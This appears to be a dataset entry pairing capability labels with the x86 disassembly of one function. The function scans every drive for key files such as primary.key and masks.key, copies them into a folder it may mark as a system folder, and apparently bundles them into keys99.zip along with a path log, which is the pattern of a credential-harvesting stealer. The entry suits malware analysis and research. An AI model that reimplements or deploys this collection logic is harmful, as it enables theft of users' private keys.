Function at 0x1001b7e0
Capabilities:
Check if file exists
Copy file
Create directory
Get disk information
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x734
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x1d]
push ebx
push eax
mov byte [esp + 0x24], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40c
lea ecx, [esp + 0x338]
push ebx
push ecx
mov dword [esp + 0x33c], ebx
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
add esp, 0xc
push 1
call esi
lea edx, [esp + 0x330]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
shr eax, 2
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x1001c236
push 1
call esi
movzx eax, ax
mov dword [esp + 0x14], eax
lea esp, [esp]
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x1001c220
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x228]
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1001b890
lea ecx, [esp + 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001c220
push 0x1004a544
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001b9e9
xor eax, eax
jmp 0x1001b8d0
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001b8d0
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001b8f1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001b901
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea edx, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edx
call edi
test eax, eax
je 0x1001b94e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001b947
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b953
mov ecx, dword [str.keys99]
mov dx, word [0x1004a554]
mov dword [eax], ecx
mov cl, byte [0x1004a556]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001b9a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001b9a1
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b9b0
mov ecx, dword [str.header.key]
mov edx, dword [0x1004a55c]
mov dword [eax], ecx
mov ecx, dword [0x1004a560]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a544
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a564
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001bb19
xor eax, eax
nop
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001ba00
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001ba21
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001ba31
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001ba7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001ba77
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001ba83
mov edx, dword [str.keys99]
mov cx, word [0x1004a554]
mov dword [eax], edx
mov dl, byte [0x1004a556]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001bad8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001bad1
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001bae0
mov edx, dword [str.masks2.key]
mov ecx, dword [0x1004a574]
mov dword [eax], edx
mov edx, dword [0x1004a578]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
push 0
lea eax, [esp + 0x1c]
push eax
push 0x1004a564
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a57c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001bc54
xor eax, eax
nop
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001bb30
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001bb51
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001bb61
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x1001bbae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001bba7
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001bbb3
mov ecx, dword [str.keys99]
mov dx, word [0x1004a554]
mov dword [eax], ecx
mov cl, byte [0x1004a556]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001bc08
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001bc01
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001bc10
mov ecx, dword [str.masks.key]
mov edx, dword [0x1004a58c]
mov dword [eax], ecx
mov cx, word [0x1004a590]
mov dword [eax + 4], edx
mov dl, byte [0x1004a592]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
push 0
lea eax, [esp + 0x1c]
push eax
push 0x1004a57c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push str.name.key
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001bd8b
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001bc70
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001bc91
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001bca1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x1001bcee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001bce7
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001bcf3
mov ecx, dword [str.keys99]
mov dx, word [0x1004a554]
mov dword [eax], ecx
mov cl, byte [0x1004a556]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001bd48
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001bd41
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001bd50
mov ecx, dword [str._name.key]
mov edx, dword [0x1004a598]
mov dword [eax], ecx
mov cx, word [0x1004a59c]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push str.name.key
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a5a0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001bec4
xor eax, eax
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001bda1
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001bdc2
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001bdd2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001be1f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001be18
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001be24
mov edx, dword [str.keys99]
mov cx, word [0x1004a554]
mov dword [eax], edx
mov dl, byte [0x1004a556]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001be79
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001be72
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001be80
mov edx, dword [str.primary2.key]
mov ecx, dword [0x1004a5b4]
mov dword [eax], edx
mov edx, dword [0x1004a5b8]
mov dword [eax + 4], ecx
mov cx, word [0x1004a5bc]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a5a0
mov word [eax + 0xc], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a5c0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001c004
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001bee0
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001bf01
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001bf11
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001bf5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001bf57
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001bf63
mov edx, dword [str.keys99]
mov cx, word [0x1004a554]
mov dword [eax], edx
mov dl, byte [0x1004a556]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001bfb8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001bfb1
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001bfc0
mov edx, dword [str.primary.key]
mov ecx, dword [0x1004a5d0]
mov dword [eax], edx
mov edx, dword [0x1004a5d4]
mov dword [eax + 4], ecx
mov cl, byte [0x1004a5d8]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a5c0
mov byte [eax + 0xc], cl
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
jmp 0x1001c00c
test ebx, ebx
je 0x1001c220
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001c010
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001c031
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001c041
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001c08c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001c085
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001c091
mov edx, dword [str.keys99.zip]
mov ecx, dword [0x1004a5e0]
mov dword [eax], edx
mov dx, word [0x1004a5e4]
mov dword [eax + 4], ecx
mov cl, byte [0x1004a5e6]
mov word [eax + 8], dx
mov byte [eax + 0xa], cl
xor eax, eax
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x120], cl
inc eax
test cl, cl
jne 0x1001c0c0
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001c0e4
lea edi, [esp + 0x120]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001c0f7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x120]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001c115
mov edx, dword [str.keys99]
mov cx, word [0x1004a554]
mov dword [eax], edx
mov dl, byte [0x1004a556]
mov word [eax + 4], cx
mov byte [eax + 6], dl
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.10028fe0
test eax, eax
je 0x1001c220
lea edx, [esp + 0x120]
push edx
call fcn.10005810
xor eax, eax
mov cl, byte [eax + 0x1005ae00]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001c162
push 0x1005d350
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005d350
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001c183
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001c193
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001c1b0
mov ecx, dword [str.path99.txt]
mov edx, dword [0x1004a5ec]
mov dword [eax], ecx
mov cx, word [0x1004a5f0]
mov dword [eax + 4], edx
mov dl, byte [0x1004a5f2]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x120]
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x1001c1f1
lea eax, [esp + 0x120]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001c205
sub eax, edx
push eax
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x20]
call fcn.10005550
dec dword [esp + 0x10]
jne 0x1001b860
movzx ecx, word [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret